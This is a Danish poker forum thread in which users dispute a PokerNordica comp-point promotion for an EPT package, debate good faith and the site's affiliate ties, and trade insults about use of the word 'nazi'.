Det er da en naturlig ting at de følger med og forholder til de indlæg der måtte komme.
Så den del synes jeg er helt på plads.
Jeg håber dog at parterne finder en løsning som alle kan være tilfredse med - er sikker på at PN(DanTheMan) gerne vil mægle hvis der er behov for dette.
Håber at vi ses ved bordene :)
@Pink
Nope, det var ikke mig der blev kicket, men det kunne det ligeså godt have været, det har alle dage været et skodforum og det skulle have været min udsøgte fornøjelse at overspamme det med viagra links. Ærger mig faktisk nu lidt over at jeg ikke brugte lidt mere tid på at gøre det, bliver ZSÅ li'erlig af at blive belært af DonErigeret's myndige tone!
Venlig hilsen, og god dag til dig også !
(og du har helt ret, hvis jeg ikke får mit slik bliver jeg sq tudefjæs !! )
Jeg troede også at 400.000 comp ville udløse et sæde, ja vildt, men det stod der ordret - kan man så handle i ond tro ved at stole på teksten som er skrevet af udbyderen ? Og nu snakker vi sgu ikke om et bilka katalog, men et udenlandsk firma som er i benhård konkurrence på internettet.
Det kan ikke være rigtigt og det grænser til svindel.
@jeschrper1
Din nazi kommentar gør desværre også pokernet til et skodforum.
Nu aner jeg ikke om 400.000 comps er meget eller lidt. Jeg spiller ikke Pokernordica og har ikke planer i den retning.
Men hvis det er klart, at de 400.000 må være en fejl, ja så er de ikke bundet.
Der findes den berømte Højesteretsdom om et ægtepar der ser et TV i et udstillingsvindue, der åbenlyst er forkert prissat (lad os sige, at reel pris var 7.500 og så skiltes til 750 kr.)
Ægteparret troede de var smarte og tog et foto af udstillingen for at sikre sig "bevis" for deres krav, men leverede blot beviset på, at de var i ond tro.
man kan osse se denne:
langsted.dk/artikler/JP_12.03.2007.pdf
@Puma35.
Problemt i denne henseende er jo at det er svært for en kunde at sammenligne 400.000 point med en værdi på ca. 10.000 euro.
At Nordica laver en fejl er selvfølgelig beklageligt, men hvis de informerer kunderne direkte så snart fejlen er fundet, er de selvfølgelig ikke bundet af fejlen.
I mine øjne bør de dog kompensere kunden for hans forventede tab ved ændringen af promotionen, indtil kunden er blevet opmærksom på fejlen.
EKS. hvis ham den lange har optjent 4.000 point da Poker Nordica gør ham opmærksom på fejlen, bør man nok udbetale ham 1% af hvad en EPT pakke koster.
Pink, du hænger dig ret meget i det ord. Hvis der er fordi du tror jeg kalder ham en antisemitisk jødedræber er det nu ikke det jeg mente - Nazi er kun brugt i
"Another term for someone who is overly controlling and is rude about it."
- meningen. (UrbanDictionary)
Mvh Jesper
Nu synes jeg ikke at vi skal diskutere om jeg har handlet i god tro eller ej. Fordi det kan jeg 100 % sige at det har jeg gjort.
Jeg skulle spille 133.334 raked hænder på NL25 eller NL50, jeg kan ikke huske om det var hver anden eller tredje hånd der i snit var raked. Men altså ikke noget som var så åbenlyst at jeg selv synes jeg burde have opdaget det var forkert.
Nu er det jo ikke sådan at gode tilbud er nogen sjældenhed blandt pokersites.
Men det nytter vel ikke noget at diskutere dette, da Pokernordica har jo valgt at dække sig ind under T & C.
Jeg har fået svar på en email som jeg sendte til manageren, hvor han siger at den fejl der blev rettet var angående den der raked hands konkurrence...
Som der kan se var der meget stor forvirring om denne EPT promotion, jeg var/er dog aldrig i tvivl om at der ikke stod noget om at det kun var de 3 første er ville modtage en EPT pakke ( dog maximum 7000 $ ) Fik at vide at man kunne få et stort fladskærms fjernsyn hvis man hellere ville det ( sendte manageren i en email til en anden, ville sætte pris på hvis han ikke blev nævnt med navn )
Pokernordica kan sige at det ikke var igennem lang tid at jeg spillede under falske forudsætninger, men jeg snakkede med deres support umiddelbart efter hvor at jeg blev fortalt at de nye regler ikke ville have nogen effekt på os som signede up før ændringerne i det der tilbud blev lavet, derfor valgte jeg at stole på pokernordica og skrev frem og tilbage med dem, indtil at jeg modtog et endeligt svar fra manageren. Hvor han fortalte at vi aldrig ville blive enige, og derfor ikke ville diskutere dette yderligere.
Fjernet et "ikke" tak for at gøre mig opmærksom på det.
@jeschrper1
Du behøver ikke stikke den der latterlige Urban - WTF, BALLA, OP, Arrh mann dér mann - Dictionary i hovedet på mig.
Ethvert normalt fungerende menneske med normal grød mellem ørerne vil finde det krænkende at blive kaldt nazist.
@hamdenlange
"Nu synes jeg ikke at vi skal diskutere om jeg har handlet i god tro eller ej. Fordi det kan jeg 100 % sige at det har jeg ikke gjort."
Haha?
Du har altså ikke handlet i god tro? Skam dig!
c_hope og ham den lange
Der er selvfølgelig forskel på jura og ordentlig kundebehandling. Mht. juraen er der intet at komme efter, kundebehandlingen kan jeg ikke vurdere.....
@PokerNordica.
Jeg savner bare min poloshirt, som jeg vandt for ½ år siden:-(
mrxxxxx
Den kan du nok godt skyde en hvid pil efter.
Jeg vandt 4 poloer og fik faktisk en til sidst. For de sidste 3 blev jeg af Chris fra Nordica lovet en pokerbog, som jeg dog aldrig så skyggen af...
Men du må gerne få min polo hvis du selv betaler portoen ;o)
Der var en der skrev noget med "tungen lagt oppe i R"
Mon man kunne få den tanke at et pokersite ,ville være glade
for at "spytte" i kassen , til den eller dem som kunne levere et
større eller mindre antal personer som smider $$$$$ i på dette site
Altså skaffer kunder i butikken,det er jo lønsomt for begge parter
Og så er det jo med at forsvarre guld-Hønen ikke ?? ;)
Udover rakeback og gode eller uduelige tilbud fra pokersitet
falder der mon så noget andet af andre steder ???
stoft til eftertanke
VH 4500
"falder der mon så noget andet af andre steder ???"
Ja selvfølgelig gør der det. Har du lige fået internet?
"Mon man kunne få den tanke at et pokersite ,ville være glade
for at "spytte" i kassen , til den eller dem som kunne levere et
større eller mindre antal personer som smider $$$$$ i på dette site"
Det er ingen hemmelighed, at PokerNet får betaling for de spillere vi leverer.
Betalingen er bare bedre andre steder end hos Nordica. Dem promoter vi fordi det er et dansk tiltag og et godt site. Denne sag er selvfølgelig uheldig og sker sådanne ting flere gange, så tager vi selvfølgelig vores anbefaling op til revision.
MEN husk nu at selv et lille site som Nordica har over 10.000 registrerede brugere. Det er praktisk talt umuligt ikke at komme til at træde nogen af dem over tærerne engang imellem.
Men det er også klart, at sker det for ofte, så fjerner vi også vores anbefaling.
Dette er dog en af de første "sager" vi har haft som affiliates hos PokerNordica. Til sammenligning har vi haft 10 henvendelser omkring Boss Media indenfor den sidste måned.
/Mikael
Jeg har også haft mine problemer med PokerNordica, men det har mest været med elendige og pisseheldige modspillere :-)
"Jeg kan godt forstå din ægren over denne promotion ikke var en realitet, men jeg kan informere dig om at de 3 spillere der vandt og først opnåede 400K comp points har generet en samlet net profit på -$500, da de har deltaget i mange gode promotions og løbet med sejren samt de har modtaget en masse bonuser etc. Vi er altså ikke ude på at rippe nogen eller snyde vores kunder.
(Dertil kommer at de hver især modtager $7000, så samlet overlay er altså $21,500)"
Synes at jeg ville smide en kommentar her. Det er da den værste gang pis jeg nogensinde har set at lave en regnestykke der kun gælder for top3 og så beskrive det som "overlay". Hvad med nr.4,5,6,7.... osv. De har jo også deltaget men fordi de ikke har vundet så tæller deres rake åbenbart ikke.
Den anden diskussion har jeg ikke nogen kommentarer til. Jeg ville bare lige påpege dette overfor folk der har læst tråden. Erik Smith er jo udemærket klar over at den promotion har større værdi for Nordica end regnskabet for top3 men han vælger bevidst en totalt useriøs udregning for at få Nordica til at fremstå bedre.
At sådan en tråd får lov til at køre på Pokernet synes jeg er fantastisk. Pokerbranchen er generelt svær at gennemskue og præget af fantasifulde promotions hvor spillerne ingen idé har om den reelle værdi. Hvor mange ved forresten at Merge Gaming (Nordica) bruger prop spillere som får tæt på hele deres rake tilbage? Mon ikke de ville miste nogle spillere hvis folk vidste at de risikerer at spille mod modstandere der bliver betalt af sitet for at spille imod dem. Spørgsmålet er bare om folk ikke burde have ret til at vide det?
Prop spillere spiller for egne penge, så hvad er problemet nu i det ?
Folk må selv vurdere om de synes det er et problem eller ej men det er jo svært når de ikke ved det.
Det er IKKE gennemskueligt
Iforbindelse med en opgave som en af vores venner`s Datter har haft på
Gym. vedr. internet markedsføring,havde hun bla. taget Pokersites med
her forespurgte hun 50 elever samt lærere om fgl.
Et pokersite tilbyder FÅ100$ gratis ved første indskud !
Af de 50 adspurgte var der kun 6 som mente at man nok skulle gøre
sig "fortjent" til disse 100$
Resten forstod det som om at de fik 100$ direkte at spille for når
de første gang signede op.
Hun have lavet et "skærmprint" af disse tilbud fra siderne
Så når filmen allerede "knækker" her , ja så er det vel noget rigtigt i
at det ikke er så gennemskuligt
"Nazi? Det var dog lavt. Men du er jo også altid bare gnaven. Var det ikke også dig som blev smidt ud af casinoportalen fordi du bare ikke KUNNE fatte simple forumregler? Du er jo et lille barn."
"Ethvert normalt fungerende menneske med normal grød mellem ørerne vil finde det krænkende at blive kaldt nazist."
Der er mange ting som er værre at blive kaldt end nazi.. Autonom f.eks.
nå?
Det kan jeg da godt se det logiske i.
Hellere blive sat i bås med typer, som systematisk har gasset, udryddet og er ansvarlige for flere millioner menneskers død, fremfor en punker som har kastet en flaske i frustration.
Danmark er et dejligt land.
pink poo poo tag din fjællrev rygsæk og gå en tur i skoven og kik efter fugle eller små gnavere ;)
folk er sku blevet kaldt det meste her på denne side, blevet truet med alskens ulykker m,m.
så slut nu med dit tuderi om det der nazi pis ;) det er jo sikkert ikke bogstaveligt talt ment ;)
@Zyde
"Hvor mange ved forresten at Merge Gaming (Nordica) bruger prop spillere som får tæt på hele deres rake tilbage? Mon ikke de ville miste nogle spillere hvis folk vidste at de risikerer at spille mod modstandere der bliver betalt af sitet for at spille imod dem. Spørgsmålet er bare om folk ikke burde have ret til at vide det?"
Øhhh.... Prop spillere har været brugt i mange år både på rigtige casinoer og på nettet... Kan ikke se hvordan det på nogen måde kan være en ulempe for de "normale" spillere... Har selv spillet prop på truepoker engang.... Det gjorde mig hverken til en bedre spiller eller gav mig en fordel på nogen måde... Jeg blev bare betalt for at starte borde op og så holde dem kørende... Noget de faktisk tilbød alle deres regulars på det tidspunkt...
Der er vist ingen grund til at grave flere bussemænd frem i denne debat end højst nødvendigt...
Mvh Mika